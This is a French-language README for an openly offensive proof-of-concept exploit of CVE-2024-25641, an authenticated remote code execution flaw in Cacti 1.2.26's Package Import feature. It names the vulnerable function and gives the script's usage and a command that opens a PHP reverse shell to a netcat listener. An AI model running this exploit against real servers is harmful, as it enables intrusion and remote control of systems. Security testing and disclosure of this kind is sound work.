
Preuve de concept d'exploitation pour CVE-2024-25641, une RCE authentifiée dans Cacti 1.2.26 via la fonctionnalité d'importation de paquets, permettant l'exécution de code PHP arbitraire et un reverse shell.
# Exploit Title: Cacti 1.2.26 - RCE (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641
Ce dépôt contient un POC (Proof of Concept) de la vulnérabilité CVE-2024-25641, qui affecte la version 1.2.26 de Cacti. Cette vulnérabilité est exploitable via la fonctionnalité « Package Import », elle permet aux utilisateurs authentifiés disposant de la permission « Import Templates » d'exécuter du code PHP arbitraire sur le serveur web. La vulnérabilité se situe dans la fonction import_package() définie dans le script /lib/import.php. Cet exploit utilise un reverse shell PHP qui est déclenché une fois le plugin malveillant téléversé.
usage: exploit.py [-h] --url URL --user USER --password PASSWORD --lhost LHOST --lport LPORT [--verbose]
CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE
options:
-h, --help show this help message and exit
--url URL URL of the Cacti web root
--user USER username to log in
--password PASSWORD password of the username
--lhost LHOST local host to receive the reverse shell
--lport LPORT local port to receive the reverse shell
--verbose enable verbose
Démarrez un listener netcat puis exécutez l'exploit de cette manière :
python3 exploit.py --url <URL> --user <username> --password <password> --lhost <local_host> --lport <local_port>

https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88
https://nvd.nist.gov/vuln/detail/CVE-2024-25641
https://vuldb.com/?id.263978
https://github.com/5ma1l/CVE-2024-25641
https://github.com/Safarchand/CVE-2024-25641
Ce projet est sous licence MIT
Copyright © 2025, D3Ext